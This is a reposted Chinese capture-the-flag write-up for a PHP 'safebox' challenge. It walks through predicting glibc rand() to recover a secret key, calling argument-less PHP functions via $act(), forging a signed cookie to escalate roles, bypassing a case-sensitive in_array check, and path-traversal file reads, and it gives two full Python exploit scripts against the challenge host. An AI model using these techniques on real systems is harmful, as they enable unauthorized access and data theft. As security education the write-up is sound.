转载

安全箱子的秘密

0x01 rand缺陷导致密钥泄露

目标: http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php

随便写点东西,抓包,发现html源码里有个?x_show_source:

安全箱子的秘密

于是访问 http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php?x_show_source ,找到源码。

分析一下,发现这里每个新的session会生成两个随机字符串,SECRET_KEY和CSRF_TOKEN。其中 CSRF_TOKEN是防御CSRF的token,会直接显示在表单中;而SECRET_KEY是类似密钥的东西,在后面需要利用这个密钥给数据签名。

但密钥是不知道的,这就是本题第一个难点,如何得知密钥。我们看到随机字符串生成函数rand_str:

function rand_str($length = 16) {     $rand = [];     $_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";     for($i = 0; $i < $length; $i++) {         $n = rand(0, strlen($_str) - 1);         $rand[] = $_str{$n};     }     return implode($rand); }

可见,这里用的是rand函数生成的随机数。在linux下,PHP的rand函数是调用glibc库中的rand函数,其实现是有缺陷的。可见这篇文章: http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

其提到一个公式:

state[i] = state[i-3] + state[i-31]

也就是说,rand生成的第i个随机数,等于i-3个随机数加i-31个随机数的和。

所以,我们只要生成大于32个随机数,就可以陆续推测出后面的随机数是多少了。我们看到代码:

if(empty($_SESSION['SECRET_KEY'])) {     $_SESSION['SECRET_KEY'] = rand_str(6); } if(empty($_SESSION['CSRF_TOKEN'])) {     $_SESSION['CSRF_TOKEN'] = rand_str(16); }

当一个新请求来到时,index.php会先生成6个随机数组成的字符串作为SECRET_KEY,再生成16个随机数组成的字符串CSRF_TOKEN,而且CSRF_TOKEN是已知的。那么一次请求最多生成22个随机数,是不到31的,所以并不能使用上面的公式。

我们知道HTTP1.1协议支持Keep-Alive,也就是说一个TCP连接支持收发多个HTTP数据包,只要TCP连接不断那么这个随机数生成就是连续的。所以我只需要发送两个带有Keep-Alive的数据包即可拿到一共44个随机数。

这44个随机数大概是这样的:

a[0]~a[6]未知 + a[7]~a[22]已知 + a[23]~a[28]未知 + a[29]~a[44]已知

然后我们再次发送不带session的数据包,则再次生成『6未知+16已知』,这时『6未知』就可以推测了。根据公式,a[45] = a[14] + a[42],而a[14]和a[42]正好是已知的;根据公式,a[50] = a[19] + a[47],而a[14]和a[42]也是已知的。

所以,我们是可以推算出a[45]~a[50]这6个随机数的,进而推算出此时的SECRET_KEY。

当然,实际操作时会有一定误差,一般是推算出来的值比真实值小1。那么,我们一共推算6个随机数,可能的情况就是:

number 1 number 2 number 3 number 4 number 5 number 6
a b c d e f
a+1 b+1 c+1 d+1 e+1 f+1

做一个笛卡尔乘积,一共得到如下一些情况:

[('a', 'b', 'c', 'd', 'e', 'f'),  ('a', 'b', 'c', 'd', 'e', 'f+1'),  ('a', 'b', 'c', 'd', 'e+1', 'f'),  ('a', 'b', 'c', 'd', 'e+1', 'f+1'),  ('a', 'b', 'c', 'd+1', 'e', 'f'),  ('a', 'b', 'c', 'd+1', 'e', 'f+1'),  ('a', 'b', 'c', 'd+1', 'e+1', 'f'),  ('a', 'b', 'c', 'd+1', 'e+1', 'f+1'),  ('a', 'b', 'c+1', 'd', 'e', 'f'),  ('a', 'b', 'c+1', 'd', 'e', 'f+1'),  ('a', 'b', 'c+1', 'd', 'e+1', 'f'),  ('a', 'b', 'c+1', 'd', 'e+1', 'f+1'),  ('a', 'b', 'c+1', 'd+1', 'e', 'f'),  ('a', 'b', 'c+1', 'd+1', 'e', 'f+1'),  ('a', 'b', 'c+1', 'd+1', 'e+1', 'f'),  ('a', 'b', 'c+1', 'd+1', 'e+1', 'f+1'),  ('a', 'b+1', 'c', 'd', 'e', 'f'),  ('a', 'b+1', 'c', 'd', 'e', 'f+1'),  ('a', 'b+1', 'c', 'd', 'e+1', 'f'),  ('a', 'b+1', 'c', 'd', 'e+1', 'f+1'),  ('a', 'b+1', 'c', 'd+1', 'e', 'f'),  ('a', 'b+1', 'c', 'd+1', 'e', 'f+1'),  ('a', 'b+1', 'c', 'd+1', 'e+1', 'f'),  ('a', 'b+1', 'c', 'd+1', 'e+1', 'f+1'),  ('a', 'b+1', 'c+1', 'd', 'e', 'f'),  ('a', 'b+1', 'c+1', 'd', 'e', 'f+1'),  ('a', 'b+1', 'c+1', 'd', 'e+1', 'f'),  ('a', 'b+1', 'c+1', 'd', 'e+1', 'f+1'),  ('a', 'b+1', 'c+1', 'd+1', 'e', 'f'),  ('a', 'b+1', 'c+1', 'd+1', 'e', 'f+1'),  ('a', 'b+1', 'c+1', 'd+1', 'e+1', 'f'),  ('a', 'b+1', 'c+1', 'd+1', 'e+1', 'f+1'),  ('a+1', 'b', 'c', 'd', 'e', 'f'),  ('a+1', 'b', 'c', 'd', 'e', 'f+1'),  ('a+1', 'b', 'c', 'd', 'e+1', 'f'),  ('a+1', 'b', 'c', 'd', 'e+1', 'f+1'),  ('a+1', 'b', 'c', 'd+1', 'e', 'f'),  ('a+1', 'b', 'c', 'd+1', 'e', 'f+1'),  ('a+1', 'b', 'c', 'd+1', 'e+1', 'f'),  ('a+1', 'b', 'c', 'd+1', 'e+1', 'f+1'),  ('a+1', 'b', 'c+1', 'd', 'e', 'f'),  ('a+1', 'b', 'c+1', 'd', 'e', 'f+1'),  ('a+1', 'b', 'c+1', 'd', 'e+1', 'f'),  ('a+1', 'b', 'c+1', 'd', 'e+1', 'f+1'),  ('a+1', 'b', 'c+1', 'd+1', 'e', 'f'),  ('a+1', 'b', 'c+1', 'd+1', 'e', 'f+1'),  ('a+1', 'b', 'c+1', 'd+1', 'e+1', 'f'),  ('a+1', 'b', 'c+1', 'd+1', 'e+1', 'f+1'),  ('a+1', 'b+1', 'c', 'd', 'e', 'f'),  ('a+1', 'b+1', 'c', 'd', 'e', 'f+1'),  ('a+1', 'b+1', 'c', 'd', 'e+1', 'f'),  ('a+1', 'b+1', 'c', 'd', 'e+1', 'f+1'),  ('a+1', 'b+1', 'c', 'd+1', 'e', 'f'),  ('a+1', 'b+1', 'c', 'd+1', 'e', 'f+1'),  ('a+1', 'b+1', 'c', 'd+1', 'e+1', 'f'),  ('a+1', 'b+1', 'c', 'd+1', 'e+1', 'f+1'),  ('a+1', 'b+1', 'c+1', 'd', 'e', 'f'),  ('a+1', 'b+1', 'c+1', 'd', 'e', 'f+1'),  ('a+1', 'b+1', 'c+1', 'd', 'e+1', 'f'),  ('a+1', 'b+1', 'c+1', 'd', 'e+1', 'f+1'),  ('a+1', 'b+1', 'c+1', 'd+1', 'e', 'f'),  ('a+1', 'b+1', 'c+1', 'd+1', 'e', 'f+1'),  ('a+1', 'b+1', 'c+1', 'd+1', 'e+1', 'f'),  ('a+1', 'b+1', 'c+1', 'd+1', 'e+1', 'f+1')] 

依次试一遍就好了。

0x02 PHP鸡肋任意代码执行

依次测试上述推测出的SECRET_KEY,当页面返回值不再提示Permission deny!!时,说明预测准确。此时我们拿到了SECRET_KEY,即可计算hmac,实际上计算hmac是为了控制 $act$act 是后面PHP执行的函数:

if(hash_hmac('md5', $act, $_SESSION['SECRET_KEY']) === $key) {    if(function_exists($act)) {        $exec_res = $act();        output($exec_res);    } else {        show_error_page("Function not found!!");    } } else {    show_error_page("Permission deny!!"); }

$act() ,这里等于说存在一个『任意代码执行』漏洞。但这个漏洞比较鸡肋,虽然可以执行任意函数,但因为没有传入参数,所以导致执行诸如assert、system之类的函数是没用的,会报错:

安全箱子的秘密

那么,我们只能利用php里一些不含参数的函数。php里有几个get开头的函数,其效果还是蛮强的:

安全箱子的秘密

主要有以下一些:

  1. get_defined_functions 可以获取所有已经定义的函数
  2. get_defined_constants 可以获取所有已经定义的常量
  3. get_defined_vars 可以获取所有已经定义的变量
  4. get_included_files 可以获取所有已经包含的文件
  5. get_loaded_extensions 可以获取所有加载的扩展
  6. get_declared_classes 可以获取所有已经声明的类
  7. get_declared_interfaces 可以获取所有已经声明的接口

其中,第1~4个方法十分致命。一般一个网站加密密钥、数据库配置信息多半存在常量或全局变量中,通过第2、3个方法即可全部获取,而通过第1、4个方法可以大致获取网站结构,了解函数状况。

这里,我们通过调用get_defined_functions,即可获得一个包含所有已经定义的函数的数组。不过,我们需要设置HTTP头:

function output($obj) {     if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&         strcasecmp($_SERVER['HTTP_X_REQUESTED_WITH'], 'XMLHttpRequest') === 0) {         header("Content-Type: application/json");         echo json_encode($obj);     } else {         header("Content-Type: text/html; charset=UTF-8");         echo strval($obj);     } }

因为我们要获取的是数组,数组直接输出是会被强制转换成字符串的。所以我将X-REQUESTED-WITH设置为XMLHttpRequest,即可让输出结果转换成json,这样数组就被保留了:

安全箱子的秘密

输出所有函数,我发现用户函数中有几个函数在源码中没看到:_fd_init,fd_show_source,fd_config,fd_error,fg_safebox

分别执行一下,发现fd_show_source是读取源码:

安全箱子的秘密

0x03 提权+任意文件读取漏洞

整理一下这个源码,发现主要逻辑在fg_safebox函数中,观察一下:

function fg_safebox() {     _fd_init();     $config = fd_config();     $action = isset($_POST['method']) ? $_POST['method'] : "";     $role = isset($_SESSION["userinfo"]['role']) ? $_SESSION["userinfo"]['role'] : "";     if(!in_array($role, ['admin', 'user'])) {         return fd_error('Permission denied!!');     }     if(in_array($action, $config['role']['admin']) && $role != "admin") {         return fd_error('Admin permission denied!!');     }     $box = new SafeBox();     if(method_exists($box, $action)) {         return call_user_func([$box, $action]);     } else {         return null;     } }

先调用了_fd_init()。然后检查用户session[role]是否是admin或user,并检查用户是否有权限执行某函数。

先看看_fd_init:

function _fd_init() {     //定义role必须为guest     $_SESSION["userinfo"] = [         "role" => "guest"     ];     $cookie = isset($_COOKIE['userinfo']) ? base64_decode($_COOKIE['userinfo']) : "";     if(empty($cookie) || strlen($cookie) < 32) {         return false;     }      $h1 = substr($cookie, 0, 32);     $h2 = substr($cookie, 32);     if($h1 !== hash_hmac("md5", $h2, $_SESSION['SECRET_KEY'])) {         return false;     }      //防止身份伪造     if(strpos($h2, "admin") !== false || strpos($h2, "user") !== false) {         return false;     }     $s = json_decode($h2, true);     $s['role'] = strval($s['role']);     if($s['role'] == 'admin') {         return false;     }     $_SESSION["userinfo"] = array_merge($_SESSION["userinfo"], $s);     return true; }

实际上是从cookie中取出信息并用json_decode解码后作为session,我们的目标是控制 $_SESSION['userinfo']['role'] 。有三个地方注意一下就好了:

  • cookie中取出的信息先进行签名认证,但因为密钥SECRET_KEY已经拿到了,所以不成问题
  • admin和user这两个字符串不能出现在json中,我们可以利用unicode编码,比如{ role : /u0075ser }
  • role的值不能为admin

主要是第三个问题,role的值不能是admin,那么执行不了read方法:

private function _read_file($filename) {     $filename = dirname(__FILE__) . "/" . $filename;     return file($filename); }  public function read() {     $filename = isset($_POST['filename']) ? $_POST['filename'] : "box.txt";     return $this->_read_file($filename); }

而read方法很明显是有任意文件读取漏洞的,所以现在做的是提权。

我们执行fd_config()函数,可以得到权限分配的数组:

安全箱子的秘密

可以看到,admin对应的方法有read,而user对应的方法有view、alist、random,在flag.php的97行对权限进行检查:

if(in_array($action, $config['role']['admin']) && $role != "admin") {     return fd_error('Admin permission denied!!'); }

$action $config['role']['admin'] 数组中时,如果你的role又不是admin,则提示权限错误。

其实这里又涉及到php的大小写敏感问题,php语言的方法名、类名、函数名是大小写不敏感的,也就是说平时执行phpinfo()可以读取php信息,执行PhPInfO()效果也是一样的。

所以,我只需要传入的 $action 为READ等包含大写字母即可绕过in_array的限制,而最后仍然可以执行read方法。

执行read方法后即可读取任意文件,按常规渗透方式读取一些常见文件

/etc/passwd /etc/hosts /etc/apache2/httpd.conf /etc/php5/php.ini /etc/cron 

在/etc/apache2/httpd.conf的最后几行发现flag:

安全箱子的秘密

0x04 编写脚本

这个题其实难度并不大,但复杂,十分复杂,几乎不可能通过手工拿到flag,必须要写脚本。

首先,我要先写一个获取SECRET_KEY的脚本,就是我在0x01中说到的,利用rand函数缺陷预测SECRET_KEY,并通过笛卡尔乘积生成可能的情况,一一测试,最终找到正确的SECRET_KEY。

给出我的脚本:

#!/usr/bin/env python import requests import re import itertools import random import string import hmac import hashlib import sys  rand = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php"  def get_csrf_token(res):     rex = re.search(r'name="CSRF_TOKEN" value="(/w+)"', res.content)     return rex.group(1)  def str_to_random(lst):     return [rand.find(s) for s in lst]  def random_to_str(lst):     return ''.join([rand[i] if 0 <= i < len(rand) else '0' for i in lst])  def calc_key(lst):     for i in range(len(lst), len(lst) + 6):         assert(lst[i - 31] != -1)         assert(lst[i - 3] != -1)         lst.append((lst[i - 31] + lst[i - 3]) % len(rand))     return lst[-6:]  def test_token(s, secret):     res = s.get(target)     token = get_csrf_token(res)     res = s.post(target, data={         "submit": "1",         "CSRF_TOKEN": token,         "act": "phpinfo",         "key": hash_hmac("phpinfo", secret)     })     if res.content.find("Permission deny!!") < 0:         sys.stdout.write("/n")         print("[cookies ]", s.headers['Cookie'])         print("[key ]", secret)         print("[content ]", res.content)         return True     else:         sys.stdout.write(".")         sys.stdout.flush()         return False   def hash_hmac(data, key):     h = hmac.new(key, data, hashlib.md5)     return h.hexdigest()  def rand_str(length):     return ''.join(random.choice(string.letters + string.digits) for _ in range(length))  def calc_maybe(lst):     prd = []     for i in lst:         prd.append((i, i+1))     return itertools.product(*prd)  rand_lst = [] s = requests.session(); s.headers = {     "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "                   "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"                   ".0.2704.63 Safari/537.36" }  for i in range(2):     s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12))     res = s.get(target)     token = get_csrf_token(res)     rand_lst += list("/x00" * 6)     rand_lst += list(token)  #print(rand_lst) rand_lst = str_to_random(rand_lst)  key_arr = calc_key(rand_lst) print("[calc key] ", key_arr)  s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12)) for fkey in calc_maybe(key_arr):     if test_token(s, random_to_str(fkey)):         break

有几点要注意的:

  • CSRF_TOKEN每次使用完就会销毁,所以每次发送POST请求之前都需要获取一个CSRF_TOKEN
  • 为了保证Keep-Alive,使用requests库的session类来维持会话
  • 为了生成44个随机数,需要发送两次数据包,发送数据包前需要更换sessionid,否则第二次不会再生成新的随机数。我的做法是发送前自己生成随机字符串作为sessionid
  • 笛卡尔积可以用python的itertools.product方法
  • 最终获取准确的secret_key后,要输出这个secret_key,同时还要输出当前sessionid,后续操作均需要带着这个sessionid

这个脚本有一定的失败率,具体为什么不细讲了,多试几次肯定Ok就是了:

安全箱子的秘密

拿到key了,然后我们再写一个脚本。这个脚本的目的是读取文件:

#!/usr/bin/env python import hmac import hashlib import sys import requests import re import urlparse import json import base64 import urllib  secret = "5ist0d" session = "eiZCh9cVSo35" target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php"  def get_csrf_token(res):     rex = re.search(r'name="CSRF_TOKEN" value="(/w+)"', res.content)     return rex.group(1)  def hash_hmac(data, key):     h = hmac.new(key, data, hashlib.md5)     return h.hexdigest()  if __name__ == '__main__':     func = sys.argv[1]     post_data = {}     cookie = '{"role": "//u0075ser"}'     auth = hash_hmac(cookie, secret)     s = requests.session()     s.headers = {         "Cookie": "PHPSESSID={}; userinfo={}".format(session, urllib.quote(base64.b64encode(auth+cookie))),         "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "                       "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"                       ".0.2704.63 Safari/537.36",         "X-REQUESTED-WITH": "XMLHttpRequest"     }      res = s.get(target)     token = get_csrf_token(res)     post_data.update({         "submit": "1",         "CSRF_TOKEN": token,         "act": func,         "key": hash_hmac(func, secret),          "method": "reaD",         "filename": "../../etc/passwd"     })     res = s.post(target, data=post_data)     print(res.content)

将刚才获取的secret和sessionid填入脚本,执行即可读取../../etc/passwd文件。我们可以在sys.argv[1]传入想执行的函数,比如

./calc.py fd_show_source ./calc.py fd_config ./calc.py fg_safebox 

当然,最终我们要执行的是fg_safebox,在post包中设置method=reaD,filename是想读的文件,cookie中配置好role=user的json字符串,执行即可:

安全箱子的秘密

原文  https://www.leavesongs.com/PENETRATION/safeboxs-secret.html
正文到此结束
Loading...